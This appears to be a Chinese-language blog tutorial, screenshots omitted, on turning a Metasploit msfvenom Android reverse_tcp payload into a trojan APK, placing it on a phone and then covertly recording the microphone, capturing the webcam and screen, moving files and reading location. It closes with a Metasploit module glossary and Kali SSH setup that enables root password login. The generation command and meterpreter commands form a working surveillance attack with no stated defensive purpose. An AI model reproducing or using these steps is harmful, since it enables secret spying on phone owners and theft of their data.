Metasploit执行安卓端操控并获取一些信息

1.使用msf的msfveno模块生成安卓apk木马并制定攻击方IP与端口 ,存在temph目录下

image.png

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.17.190  lport=5555 R>/temph/a.apk

2.生成木马文件放到安卓端

image.png

3.执行监听,执行 当客户端执行点击apk文件 ,OK 上钩了

image.png

4.使用摄像头/录音

进行实时视频流

image.png

进行截屏

image.png

进行录音

image.png

等等一系列操作 列出如下指令:

record_mic 从默认麦克风录制音频 x 秒
record_mic 参数：
-h：显示帮助。 
-d ：记录的秒数，默认为 1 秒 （默认的 1 秒听不到啥，设置高了又会报错，在 Kali linux 测得 13 为最优秒数） 
-F ：wav 文件路径。默认为 HOME / [随机乱码名字] .wav 
-p ：自动播放捕获的音频，默认为“true”。


webcam_chat 开始视频聊天 

webcam_list 列出网络摄像头 

webcam_snap 从指定的网络摄像头拍摄快照
webcam_snap 参数：
-h：显示帮助
-i ：要使用的网络摄像头的索引号。
-p ：JPEG 图像文件路径。默认为 HOME / [随机乱码名字]
-q ：JPEG 图像质量，默认为“50”。 
-v ：自动查看 JPEG 图像，默认为“true”

webcam_stream 从指定的网络摄像头播放视频流

4.文件上传下载

手机图片存的位置

image.png

5.图片文件搜索

image.png

下载
meterpreter > download desktop.ini
上传
meterpreter > upload /root/Downloads/1.jpeg /storage/emulated/0/DCIM/Camera

5.获取位置

image.png

渗透攻击（exploit） : 缓冲区溢出、Web应用程序漏洞攻击，以及利用配置错误等。
攻击载荷（payload）:攻击载何是我们期望目标系统在被渗透攻击后而执行的代码
辅助模块  (auxiliary)：主要包含渗透测试中一些辅助性的脚本，这些脚本功能有扫描，嗅探，破解，注入等
编码模块  (Encoders)：各种编码工具 用于躲过入侵检测和过滤系统。
后续攻击模块 (Post) : 这个目录里放着msf 的exploits执行成功后，向目标机发送的一些功能性指令比如：提权，获取hash等。

kail Windows10 远程连接解决办法

第一步：开启kail 远程ssh，开启办法如下：
1、配置SSH参数
修改sshd_config文件，命令为：vi /etc/ssh/sshd_config
将#PasswordAuthentication no的注释去掉，并且将NO修改为YES //kali中默认是yes
将PermitRootLogin without-password修改为PermitRootLogin yes
然后，保存，退出vi

第二步：启动SSH服务
命令为：
/etc/init.d/ssh start
或者
service ssh start
查看SSH服务状态是否正常运行，命令为：
/etc/init.d/ssh status
或者
service ssh status
第三步：设置系统自动启动SSH服务
update-rc.d ssh enable //系统自动启动SSH服务
update-rc.d ssh disabled // 关闭系统自动启动SSH服务

防火墙相关,若没进行安装 apt-get install ufw

image.png